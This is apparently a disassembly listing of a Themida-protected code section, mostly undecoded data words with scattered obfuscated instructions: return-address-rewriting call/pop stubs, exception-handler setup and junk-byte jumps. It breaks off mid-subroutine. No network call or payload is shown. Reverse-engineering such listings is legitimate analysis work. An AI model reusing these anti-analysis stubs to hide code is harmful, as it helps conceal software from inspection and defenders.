dd 1Ah, 40C35242h, 52853746h, 95FF8C16h, 61218C1h, 0BE9h
dd 0FB075100h, 0D09D8A60h, 34961CE9h, 9FC3B9BBh, 12B5FF30h
dd 0FC0615C8h, 1BA195FFh, 0BD830612h, 6121EB1h, 36840F02h
dd 8B000000h, 1208C5BDh, 0A5858B06h, 6A061203h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
dd 2E07C355h, 0DE8B6685h, 8B0000C6h, 12234D9Dh, 5985C706h
dd 6121Bh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 18042444h, 43000000h, 0D2F9C353h, 8B9314D0h, 1231419Dh
dd 0F34EE906h, 9D89FFFFh, 6123175h, 6AC18Bh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 170424h, 56460000h, 0EF5BFEC3h
dd 3880F6Bh, 80000000h, 0B660CCF3h, 69BB6680h, 13E96181h
dd 79000000h, 289DADh, 3 dup(0)
dd 6FE90000h, 38000005h, 4B3BD945h, 5F4FED57h, 77670567h
dd 8D7D1B81h, 25923098h, 0FB6358CAh, 12766D5Dh, 2B8B8474h
dd 45A39D8Dh, 0D647A8A7h, 75FFF0AEh, 0F58AABDh, 0FEB4B715h
dd 0F51D8E09h, 46FE907h, 90801EB6h, 1B8D3896h, 0E4C9D992h
dd 42258FF3h, 3134928Ch, 721D877Bh, 0DA44A29Ch, 3E39AF7h
dd 58C93A34h, 6FE93530h, 0BB59F13Fh, 0D472D2CBh, 0A2625B31h
dd 0F04649A9h, 95FF5558h, 6164C4BDh, 4D50B4ABh, 373AA297h
dd 26298781h, 35244CBDh, 0DD2B6FE9h, 2F9E7E37h, 28F7D796h
dd 4131CF2Fh, 7DE6E947h, 4A4DAFA7h, 0EA178AF4h, 9B6FE935h
dd 0D93004E4h, 20D81DA8h, 6Fh, 0B7150FC6h, 99D94BB4h, 8EAAD252h
dd 93BB2CD7h, 9A6FE952h, 456FE24Ch, 0F06FE952h, 2D55C64Fh
dd 3C6FE952h, 3E384EEh, 4EB6AB81h, 0AE8BF54Bh, 0D81DC657h
dd 0A9Eh, 4883F500h, 0A2F0FF88h, 0FFD39A3h, 0F8AEB11Bh
dd 0E1979A04h, 0CD0C89EBh, 0E87CE0D7h, 3BD333A2h, 5EC4BA90h
dd 0FDB411F4h, 0F05A4E1Dh, 0A686252h, 0FDF3C96Ch, 5CF12D97h
dd 72203BEAh, 66D045A5h, 2E31998Eh, 171A8478h, 936242FBh
dd 0B58B369Eh, 74F25CBCh, 9D07FBD1h, 2DA449Ah, 0FE269708h
dd 0D6FE997h, 6E2427BFh, 93691476h, 0DD33369Eh, 39FC9073h
dd 98173FB0h, 0D8266FE9h, 6BEDCD6Eh, 8D5EDEF9h, 0A5505C3Bh
dd 0E9880C34h, 5BC5136Fh, 1E02377Eh, 7A5ED8h, 0F040000h
dd 0F9AFB21Ah, 6BF49F01h, 0A538A095h, 6FE9077Dh, 82E8DE8Ch
dd 9991297Fh, 0F4D7419Fh, 0DEE1493Eh, 0C8CB3328h, 0B5B91912h
dd 4EED5C3Ch, 0F3E8B797h, 8FDED8Bh, 271FF5A0h, 74D4CDC5h
dd 0CEB11B71h, 0B9BC2218h, 986C4C25h, 0D81D8151h, 6178h
dd 1A0F1E00h, 0F9AFB2h, 80399DA0h, 74DCD1A0h, 675D33D6h
dd 98ACFE01h, 56E5B57Ch, 0DE4FFA92h, 6FE992B6h, 0D10D77C5h
dd 5D511B0Fh, 27B05BF3h, 0E9078EB6h, 4AACA46Fh, 0A4F2F147h
dd 0E650B6ACh, 3A289A03h, 0CCD86FA2h, 81AE218Bh, 306FE92Fh
dd 6EC59979h, 0B5D81DA2h, 6, 0DE3C360Ch, 170F3874h, 2FCB2B5h
dd 0FF70F9A4h, 6FE907D7h, 459C9CE6h, 0F5E342D1h, 0B910F35Dh
dd 534B1AFAh, 8D389891h, 0E940F41Ch, 15ADFB6Fh, 58EBE277h
dd 64E33CADh, 0DC2A69FBh, 0A09A70D9h, 65D63F42h, 75FB1B3Dh
dd 0FC66FE4Ch, 2ECC2A24h, 3BE6443Eh, 6096F65h, 5FBFB8B0h
dd 0B99C065Ch, 0FB1B3E68h, 9E9A275h, 8982403Ah, 0CE979D2Dh
dd 69E66EBh, 0EF594D03h, 6FE96ECh, 51A7AA10h, 312B1BB9h
dd 0DE67D0D3h, 0FBC2456Dh, 9C065475h, 696CCAC4h, 0DDD4AA4Dh
dd 8E6E0F79h, 0DD3D360Ch, 47A19B73h, 9800DD4Bh, 9331C916h
dd 3046479Eh, 1558EDEh, 0FE50000h, 5BB1B418h, 0EA5CB5F1h
dd 0A314E57Ah, 6FE9407Bh, 3FA03482h, 83006A10h, 0C54EF988h
dd 8F92FAEFh, 797CE4D9h, 0AE218B23h, 69FC0865h, 0AD6366B4h
dd 14B755B3h, 0E8F21A8Bh, 70075FBh, 0F05AA8A7h, 0BDC01E18h
dd 21897E54h, 87E5DFB7h, 0EFC56884h, 289194F8h, 0FBE88FB7h
dd 0B8509E75h, 5F62CCC0h, 1EFE9F09h, 41EB2A9Ch, 17736AA2h
dd 7DDBD5ADh, 0DCA3CDFh, 92683CE3h, 83DAB721h, 0CADE2FD1h
dd 5Dh, 0B813AF21h, 81C3D048h, 6F6ADB17h, 9E0F847Ch, 6FE90776h
dd 79F3785h, 2A90865Ch, 0DC67D127h, 16F9636Bh, 2F28FE10h
dd 7C14786Fh, 0E2E53312h, 0E9066991h, 12F26BEFh, 0B8B0A39Eh
dd 0A213BE56h, 9016F89Ah, 0A7CF40A1h, 0A6FE907h, 0E9077199h
dd 2B2A786Fh, 0C8A745DDh, 73h, 80636A76h, 0E38E2688h, 0FB1B5D72h
dd 5B5EAC69h, 0C1251CF2h, 27857F57h, 419F9989h, 23CEED3Eh
dd 0DF9875FBh, 0D83630FFh, 1FA6A53Ah, 5D8715D0h, 3C9E969Ah
dd 0B34BE339h, 0B3A97F08h, 8AF44A4Dh, 124FDA17h, 9A9DEB70h
dd 898CEAE4h, 0BFB38932h, 92FC5255h, 0AE9D11F1h, 0BAF76813h
dd 0CB6A04A6h, 2AC2261Dh, 3CB1A97Fh, 0FB66A3CBh, 0C45CAA75h
dd 6A88DC5Ah, 0C435E063h, 69FFF087h, 8F454896h, 0B68C3795h
dd 76F45EBCh, 2B2E8C86h, 92F4ECC2h, 0F04E76E7h, 0F5D75FFh
dd 2E4E32A5h, 7C1D4779h, 2A62730Ah, 85EF3942h, 3B3504E4h
dd 554F3FDDh, 483EF4F7h, 0C988DFE2h, 0C2201AE9h, 0C93A3424h
dd 0EBA7CF40h, 68B69886h, 86EBADD5h, 0EA5BBC98h, 9886EBC2h
dd 4BE37BC9h, 0FA348h, 2C020000h, 107A6E38h, 1C1FB70Dh
dd 95205CC6h, 0B01C0F59h, 9FFDF7ADh, 8DEDE69Ch, 79DDD48Ah
dd 63CBC076h, 4DB5AA60h, 389E944Ah, 25877F35h, 0E786C22h
dd 89504D0Bh, 405E0h, 0E8830000h, 24043304h, 33240431h
dd 685C2404h, 0D61h, 53243489h, 0C381E389h, 4, 4EB81h
dd 1C870000h, 3C895C24h, 29BD5524h, 890616E9h, 242C8BEEh
dd 4C481h, 8B540000h, 0C483243Ch, 4EC8304h, 81243489h
dd 0A152434h, 478F0B52h, 8778108h, 0B520A15h, 5F2434FFh
dd 4C481h, 348B0000h, 0E2895224h, 4C281h, 0C2810000h, 4
dd 5C241487h, 0FB916CE9h, 2E935DFFh, 0CB86F79h, 30616EEh
dd 0DEE0FFC5h, 63580082h, 5245C670h, 54018DD0h, 8C40BCBBh
dd 44410839h, 2835FF19h, 0E769F1ADh, 8D302856h, 122E0185h
dd 68F0F06h, 23000000h, 120339BDh, 4895006h, 52006A24h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
dd 5E96Ch, 73930000h, 3162425Bh, 12234995h, 6A006A06h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 48F3C357h, 800F7Bh, 6A000000h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 712CBCAAh, 0A9A173C1h, 29609DDAh, 12265995h, 0C397BB06h
dd 66617C3Bh, 94D8E781h, 0F136858Dh, 6A0616h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 150424h, 51410000h, 66DA42C3h
dd 0D8FEDF81h, 0E905C083h, 11h, 9A78AAB1h, 31B470EFh, 0D42C71h
dd 0A527F096h, 6051909Fh, 6EED9EB8h, 13E919h, 51190000h
dd 5C736670h, 80DC81A8h, 0BF329011h, 0EB9372Ah, 505F6134h
dd 0CE850h, 1F200000h, 0C295F1B6h, 4AFBE19Ah, 5F5B560Fh
dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h
dd 0C3554500h, 6DED502Ah, 8B6BBB77h, 1218F1BDh, 6A006A06h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h
dd 43000000h, 45C5C353h, 6AACB3h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 16h, 0EC35545h, 95FFCA81h, 6120DB5h
dd 2F9DBD01h, 8D8D0612h, 615AF02h, 19810Fh, 0DE80000h
dd 0BF000000h, 8951F090h, 15FD2326h, 263377D5h, 1BA5BD8Bh
dd 0FF5B0612h, 56006AD1h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1604h, 0C3564600h, 81CD2D42h, 902AB9EBh
dd 0BB1BB6Eh, 0BD8344A3h, 61207ADh, 89850F01h, 89000000h
dd 1206B58Dh, 6A026A06h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 1644C357h, 9810007Eh
dd 840F90EFh, 8, 820F56h, 5B000000h, 217BBB50h, 0E8901489h
dd 0Bh, 5F6C5A77h, 0EE552D1Ah, 0FA7F371h, 68Bh, 0D8D8900h
dd 5F061223h, 6A595FFh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h
dd 180424h, 53430000h, 1E8B41C3h, 0B509A258h, 61213ADh
dd 0C47E9h, 0E800h, 815D0000h, 16F140EDh, 25BD8906h, 6A06120Eh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h
dd 40000000h, 0F99C350h, 800FFFB7h, 6, 1C999529h, 858D0612h
dd 6159437h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 15h, 9FC35141h, 0D78166F2h, 0B5897899h, 6122B19h, 5F7228BBh
dd 890F9015h, 7, 0CF8B6660h, 5061D38Ah, 36FABB60h, 820F2C7Eh
dd 0
; ---------------------------------------------------------------------------
popa
nop
push 0
push eax
call sub_595BE9
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_595BE9 proc near ; CODE XREF: Themida_:00595BE1p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_595BE9 endp
; ---------------------------------------------------------------------------
sbb eax, 64C53D34h
push large dword ptr ds:0
jmp loc_595C0F
; ---------------------------------------------------------------------------
db 0ECh, 0BEh, 75h
db 0EDh, 80h, 38h
; ---------------------------------------------------------------------------
loc_595C0F: ; CODE XREF: Themida_:00595C04j
mov large fs:0, esp
inc dword ptr [ebp+6120679h]
mov di, cx
push 0FFFFFFFFh
mov ebx, 3457F2F4h
push dword ptr [ebp+6122C81h]
push 0
push eax
call sub_595C37
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_595C37 proc near ; CODE XREF: Themida_:00595C2Fp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_595C37 endp
; ---------------------------------------------------------------------------
cmpsd
mov bl, 24h
pop ebp
mov ebx, 398A0692h
call dword ptr [ebp+6122CB5h]
jmp loc_595D7C
; ---------------------------------------------------------------------------
db 0E8h
dd 0Bh, 282F08F8h, 0B8322B28h, 0E95E2DADh, 0Bh, 518D3B80h
dd 0D74FA99Ch, 5F3053C6h, 0FB8B00B0h, 0E4F970E6h, 0A5BD8B71h
dd 3C061219h, 0E9830F61h, 8B000000h, 122BD9BDh, 0C8B60F06h
dd 8F1ECB81h, 6BA3B82h, 9000000h, 121AE185h, 8BC18B06h
dd 121161BDh, 4E8C106h, 0FE2F766h, 28Dh, 2BDF8B00h, 10E9C8h
dd 0BD8C0000h, 0E51A27FFh, 7112863Ch, 112B5DCFh, 0D18B5929h
dd 0E9FAB70Fh, 98h, 9E9h, 0BA36A700h, 5D606440h, 0BD036306h
dd 6120E59h, 4858Bh, 0CE90000h, 63000000h, 3BAF3A65h, 55AD6B2h
dd 83DA4456h, 8B6607C0h, 0C083D9h, 1525BD29h, 0BD030612h
dd 6122C59h, 830FD03Bh, 1Ch, 6E8h, 89CB8300h, 296ABCE8h
dd 120CADBDh, 39E95B06h, 0BB000000h, 43FF9002h, 0FFFF8D8Bh
dd 0B531FFFFh, 6122BF5h, 0F01E183h, 1F84h, 83DF8B00h, 0FFFFFFA5h
dd 0BD89FEFFh, 61210B1h, 49589h, 81660000h, 0E9A86FEFh
dd 0
; ---------------------------------------------------------------------------
loc_595D7C: ; CODE XREF: Themida_:00595C56j
lea esi, [ebp+616691Fh]
mov bx, di
push 0
and bl, 0A7h
call dword ptr [ebp+61219CDh]
pusha
jo loc_595D9D
sub [ebp+6121DC5h], ecx
loc_595D9D: ; CODE XREF: Themida_:00595D91j
pusha
mov dx, si
jmp loc_595DAF
; ---------------------------------------------------------------------------
dec ebp
sub al, 90h
mov edi, 0C1424814h
loc_595DAF: ; CODE XREF: Themida_:00595DA1j
popa
popa
mov ecx, 1008h
jmp loc_595DC4
; ---------------------------------------------------------------------------
db 91h
dd 0E4F8928Eh, 0BD03D24Ah
; ---------------------------------------------------------------------------
loc_595DC4: ; CODE XREF: Themida_:00595DB6j
and ecx, 0FFFFFFFCh
push 0
push esi
call sub_595DD2
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_595DD2 proc near ; CODE XREF: Themida_:00595DCAp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_595DD2 endp
; ---------------------------------------------------------------------------
dw 9925h
dd 9D0B55F8h, 8CAD1167h, 9BDB8166h, 0D5BD8B2Fh, 0FC061222h
dd 0B8FAB70Fh, 0
dd 0BA62E380h, 0
dd 9E8h, 0B7CBF00h, 0B82C153Ah, 8E81097h, 47000000h, 63FC1642h
dd 890EEEA8h, 120E9185h, 0AD5F5B06h, 0E8D1C233h, 0E983D003h
dd 1F47504h, 1210E1B5h, 68E0F06h, 29000000h, 121D7D95h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 0A436C9B9h, 81D5DE1h, 880D5Ah, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 9B76FEC3h, 6D8D89h, 958B0612h, 61209A1h, 0CE86CF81h
dd 8D8B0F28h, 6120505h, 1BA59D8Bh, 8B500612h, 3188BC2h
dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Dh, 0F5C35343h, 2EDA9009h, 2BEBD2A2h
dd 6DBF6697h, 21BD83E9h, 61221h, 7C840Fh, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 0B8F101C3h, 0
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_595F23
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_595F23 proc near ; CODE XREF: Themida_:00595F1Bp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 18h
inc ebx
push ebx
retn
sub_595F23 endp
; ---------------------------------------------------------------------------
db 0FDh
dd 0AD4C44F0h, 8D8DFA8Bh, 6124DB5h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ah, 19C35040h, 88DC0969h, 8589C9D2h
dd 6122D7Dh, 0E1FFF88Ah, 17E19D89h, 0BD830612h, 6121BD9h
dd 0BD840F00h, 6A000003h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 15042444h, 41000000h, 0E67BC351h, 1BD9BD83h
dd 0F010612h, 3AE84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1804h, 0C3514100h, 89344936h, 0D9BD8303h
dd 306121Bh, 34B860Fh, 7E80000h, 0A5000000h, 823AC63Ch
dd 0BD29C932h, 6121B09h, 6A605Fh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 170424h, 52420000h, 0D3F7EEC3h, 0FEB70F20h
dd 0F98B6653h, 0D98C665Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ah, 53C35747h, 62011884h, 0E1809873h, 13E804h
dd 69E20000h, 0EC1CFFACh, 0F2BF4A0Bh, 0A7CE44BAh, 4458E050h
dd 99B58974h, 5F061208h, 840FC90Ah, 11Ah, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0AEC35747h, 5BD61584h
dd 51394387h, 0CDBD8B90h, 8B061209h, 12308D85h, 0BDBB6606h
dd 6585332Bh, 6A061231h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 16042444h, 47000000h, 6029C357h, 73BF6628h
dd 0DBB70FFDh, 0E9606090h, 9, 573D7E7Dh, 2BAC35D6h, 61C18B86h
dd 0BE9h, 800E8D00h, 8FF74A53h, 4F56DE6Ah, 0DFBB5061h
dd 9028DB19h, 8B006AFCh, 121EB59Dh, 4F6806h, 34811BA9h
dd 0B603B024h, 53006A1Bh, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1B04h, 0C3534300h, 17CB314Eh, 0FB93D83Ch
dd 237995FFh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 170424h, 53430000h, 1D5FA5C3h, 0C5852982h, 89061203h
dd 15C81285h, 74E38006h, 135E9h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 858B38ADh
dd 615C80Ah, 0C7D9B70Fh, 1800h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 18BA9E7Fh
dd 8C91A267h, 0DFBB5751h, 5F6848E1h, 0EB58B5Fh, 6A0615C8h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h
dd 41000000h, 4F76C351h, 7995095Ah, 8B061204h, 122AB985h
dd 89DA8B06h, 0EF816606h, 0BD015763h, 6121D7Dh, 308D858Bh
dd 81660612h, 669B0CCFh, 89BA86BFh, 6A0446h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0A5DD8EC3h
dd 68488ADDh, 17359D8Bh, 66500612h, 3489D98Bh, 0FFC2B724h
dd 15C80AB5h, 59852906h, 68061216h, 63A0B463h, 9C243481h
dd 8B63BFB7h, 1230F1BDh, 12858D06h, 310615C8h, 1223C19Dh
dd 48B35006h, 0FF240489h, 12237995h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0FE480086h
dd 0F6D3610h, 6A61D9BFh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 16042444h, 45000000h, 5AB6C355h, 0D985C765h
dd 306121Bh, 0BB000000h, 5E427240h, 0C812BD83h, 0F000615h
dd 5484h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1C04h, 0C3524200h, 0DD60E45Eh, 26A0F657h, 0C88160C4h
dd 1787442Bh, 11E8h, 0BBB0CB00h, 0B90C6982h, 0E61DDB45h
dd 47FA1FB4h, 615E4563h, 1D918589h, 21E90612h, 23000000h
dd 120D89BDh, 0C305006h, 11440011h, 10E8C101h, 2114430h
dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ch, 19C35747h, 44025A95h, 2E7C34D6h, 3258531h
dd 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
dd 55450000h, 8B3EE1C3h, 0D9BD83F8h, 306121Bh, 3AA850Fh
dd 83F90000h, 15C812BDh, 840F0006h, 39Ch, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 1Dh, 0F8C35040h, 5B91AB57h
dd 0FA2B5098h, 2D9509FBh, 0FF06120Eh, 15C812B5h, 79BD8B06h
dd 0FF061217h, 121AA995h, 9DCB8106h, 8B1E8ACBh, 15C806B5h
dd 0C7A7B306h, 1000106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1504h, 0C3574700h, 0E3813900h, 0B5956DEh
dd 50DE8B66h, 0DE8h, 6C07EC00h, 1C5CA77Ah, 7189829Bh, 0B9BF9C94h
dd 5F71ECABh, 66243489h, 0B5FFFA8Bh, 615C812h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 6BC35343h, 95FFED97h
dd 6121C05h, 2658D781h, 9D8B014Bh, 6122F69h, 0C806B58Bh
dd 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
dd 52420000h, 36F8A4C3h, 0A5858B85h, 6A061201h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
dd 8D9C352h, 23DE43F6h, 1221919Dh, 0C4868906h, 33000000h
dd 12096D9Dh, 0A1958B06h, 6A061209h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 89B2C352h
dd 1210E1B5h, 4C28306h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 19h, 0EBC35242h, 0EC75106h, 0BDBD8B7Ah, 0E806121Fh
dd 0Ah, 0EAF33E03h, 0F2CBB6E9h, 0BB6690EEh, 895B2DC3h
dd 8DF82050h, 15DC6F85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1704h, 0C3564600h, 395BE0C9h, 20519D33h
dd 9D890612h, 6120985h, 0B88689h, 0D3810000h, 18A0167Eh
dd 860F006Ah, 5, 71C545BBh, 12B5FF19h, 8B0615C8h, 12311D9Dh
dd 0A595FF06h, 6A061206h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 18042444h, 42000000h, 2EDEC352h, 96FBB2DEh
dd 0D88B6650h, 0EE85396h, 0AB000000h, 6FCEFC93h, 2B6ECD77h
dd 105DF2C8h, 12E81Fh, 0CF640000h, 9CBEB596h, 322A20ACh
dd 0E7A33AA1h, 6D25F34h, 0B35B5F5Fh, 12B5FF4Eh, 0E90615C8h
dd 5, 0B557A2A5h, 8195FFC5h, 6A061202h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 4895C353h
dd 5030FCFDh, 2A09BD83h, 0F000612h, 2A84h, 0DEB70F00h
dd 85BF6696h, 890F50E5h, 15h, 10E9h, 79C1B700h, 0F4DA1608h
dd 4D590CAh, 0E8F3A478h, 24BB9676h, 0FF393F76h, 15C812B5h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h
dd 0C3524200h, 0B8799179h, 0AD82975Ah, 9595897Fh, 0FF061202h
dd 1218C195h, 718D0106h, 0FF061218h, 15C812B5h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 0B6FB6DE9h, 5B4B4C5h, 31559589h, 810F0612h, 5, 9539A3BBh
dd 0A195FF49h, 0E906121Bh, 8, 55E08388h, 1280C743h, 3759D03h
dd 0BD830612h, 6121EB1h, 1D840F02h, 0B000000h, 1219D5BDh
dd 0A5858B06h, 80061203h
dd 9D8B74F7h, 6121AF1h, 500000C6h, 5BDAB70Fh, 1B5985C7h
dd 612h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 6130F3C3h, 0BD296567h, 6120975h
dd 0FFF4A6E9h, 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1504h, 0C3524200h, 0C18B072Eh, 2E01858Dh
dd 66900612h, 504F77BFh, 0F0E6BF66h, 56006A90h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 253057F7h
dd 6A26D940h, 745BB00h, 6A1641h, 8E9h, 64136900h, 4A583615h
dd 43858DCEh, 520616FFh, 3958529h, 835B0612h, 6A05C0h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 9FE8D2C3h, 0D34FBBDFh, 0FE8167Fh, 49000000h, 0CFB63500h
dd 0A94B748h, 2317184Ah, 295297BCh, 122AD18Dh, 505F5B06h
dd 489D98Bh, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1A04h, 0C3504000h, 0BDCBE780h, 6AFD3894h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 6929C187h, 39BB2079h, 8B2BE17Fh, 122259BDh, 6A006A06h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h
dd 45000000h, 424BC355h, 0B595FFF5h, 0E906120Dh, 0Bh, 0CFC9B029h
dd 2E7F4525h, 8D4153ADh, 15AF028Dh, 0FE8B6606h, 6AD1FFh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
dd 92C93DC3h, 9D8B34F9h, 61229D1h, 7ADBD83h, 0F010612h
dd 5C85h, 35BD8B00h, 6A061205h, 8B666002h, 61DA8BC7h, 0F88B6650h
dd 6A240489h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 16042444h, 46000000h, 991DC356h, 0A595FF40h, 6A061206h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h
dd 45000000h, 89D7C355h, 122CB9BDh, 0C88E906h, 0E80000h
dd 5D000000h, 0FF4DED81h, 6A0616h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 837EEBC3h, 0F977EB7Eh
dd 33BB66E7h, 68BB6637h, 25958912h, 3306120Ah, 121F719Dh
dd 699D8B06h, 8D061206h, 15943785h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 6DBFEBA6h
dd 0EE8D8641h, 0BB665690h, 505B24A6h, 8E0F5250h, 2, 310FDF8Bh
dd 10E9h, 2E94FB00h, 6855AF74h, 3B60D229h, 3DC3AC2Dh, 90585A8Ah
dd 35FF64h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1B042444h, 47000000h, 0A675C357h, 0FFD74EB5h
dd 8E9BE51h, 0B2000000h, 183F79Eh, 640D59DBh, 2589h, 0EF810000h
dd 225D9F71h, 7985FFF8h, 6A061206h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 112AC356h
dd 0D79BAF1Ah, 0FF6AA0B3h, 30CD9D8Bh, 0B5FF0612h, 6122381h
dd 34FD8589h, 0B5890612h, 6122AE1h, 2CB595FFh, 0FAE90612h
dd 8B000000h, 1226C59Dh, 8B00B006h, 121E29BDh, 6670E606h
dd 0E451C5BFh, 3C47B371h, 0DA830F61h, 81000000h, 8A12D1C7h
dd 0C8B60F4Fh, 1BC9BD29h, 0DB800612h, 6BA6Bh, 8B660000h
dd 0FC18BF8h, 8166FFBFh, 0C1E595EBh, 0FE904E8h, 0C9000000h
dd 0A06FA101h, 0FF003319h, 4754CB00h, 0F766002Dh, 2BF88BE2h
dd 0B9BD29C8h, 6006120Ch, 20BD8589h, 61F90612h, 0B589D18Bh
dd 6121441h, 7CE9h, 39950900h, 8B061204h, 4C4C4485h, 7C0835Fh
dd 1D219D03h, 0C0830612h, 0D5BF6600h, 0FD03B6Dh, 0D83h
dd 299D8B00h, 0E9061210h, 4Dh, 8D8BDE8Bh, 0FFFFFFFFh, 0D959D8Bh
dd 0BB660612h, 0E1836D07h, 32840F01h, 31000000h, 12076185h
dd 0FFA58306h, 0FEFFFFFFh, 0FE9h, 54517500h, 0D47DBAC5h
dd 1A0F5E53h, 3C38EDBDh, 4C449589h, 0BD335F4Ch, 61217A1h
dd 0E9h, 27B58D00h, 6A061679h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 15042444h, 41000000h, 89A5C351h, 6890F60h
dd 9000000h, 122C7985h, 59BD8B06h, 61061204h, 2E39DF81h
dd 6A376Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 16h, 0E5C35242h, 95FF2A70h, 61219CDh, 0B983CF80h, 0FF1h
dd 152DBD8Bh, 0E1830612h, 0B5BD03FCh, 0FC061200h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 10C35343h, 810055F7h
dd 3445EEC7h, 0B80Bh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 150424h, 52420000h, 0BAFAEDC3h, 0
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_596C5B
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_596C5B proc near ; CODE XREF: Themida_:00596C53p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
